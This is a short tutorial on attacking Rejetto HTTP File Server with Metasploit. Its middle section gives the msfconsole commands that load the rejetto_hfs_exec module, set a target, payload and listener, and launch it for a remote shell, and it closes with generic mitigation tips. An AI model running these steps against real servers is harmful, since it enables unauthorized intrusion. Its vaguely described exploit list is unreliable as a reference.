Rejetto HTTP File Server Metasploit

Rejetto HTTP File Server (HFS) is a lightweight web server designed primarily for sharing files. It can be run on any Windows machine, and is very easy to set up and use. Unfortunately, it is also vulnerable to a number of exploits, making it a prime target for attackers. Metasploit is a powerful framework for exploiting such vulnerabilities, and can be used to compromise HFS instances and gain access to sensitive files.

Exploits

There are several exploits available in Metasploit that target HFS. These include:

• HFS Script Execution – This exploit takes advantage of a vulnerability in HFS that allows attackers to execute arbitrary commands on the server.
• HFS File Upload – This exploit allows attackers to upload files to the server, potentially giving them access to sensitive data.
• HFS Remote Buffer Overflow – This exploit takes advantage of a buffer overflow vulnerability in HFS that can crash the server or allow attackers to execute arbitrary commands.

Usage

Using Metasploit to exploit an HFS instance is relatively straightforward. First, you need to set up a vulnerable instance of HFS on a Windows machine. Once you have done this, you can use Metasploit to search for and select the appropriate exploit for your target.

msf5 > use exploit/windows/http/rejetto_hfs_exec
msf5 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS <target IP>
msf5 exploit(windows/http/rejetto_hfs_exec) > set PAYLOAD <selected payload>
msf5 exploit(windows/http/rejetto_hfs_exec) > set LHOST <local IP>
msf5 exploit(windows/http/rejetto_hfs_exec) > exploit

This will launch the selected exploit against the target HFS instance. If successful, the exploit will provide you with a shell on the target machine, which you can use to execute commands and manipulate files.

Mitigation

To prevent exploitation of HFS instances, there are several mitigation techniques that can be employed. These include:

• Keeping HFS software up to date with the latest patches and security updates.
• Limiting access to HFS instances by enforcing strict authentication policies and access controls.
• Implementing network security measures, such as firewalls and intrusion detection systems, to detect and block unauthorized access attempts.

By following these steps, you can greatly reduce the risk of HFS instances being compromised, and protect sensitive data from unauthorized access.
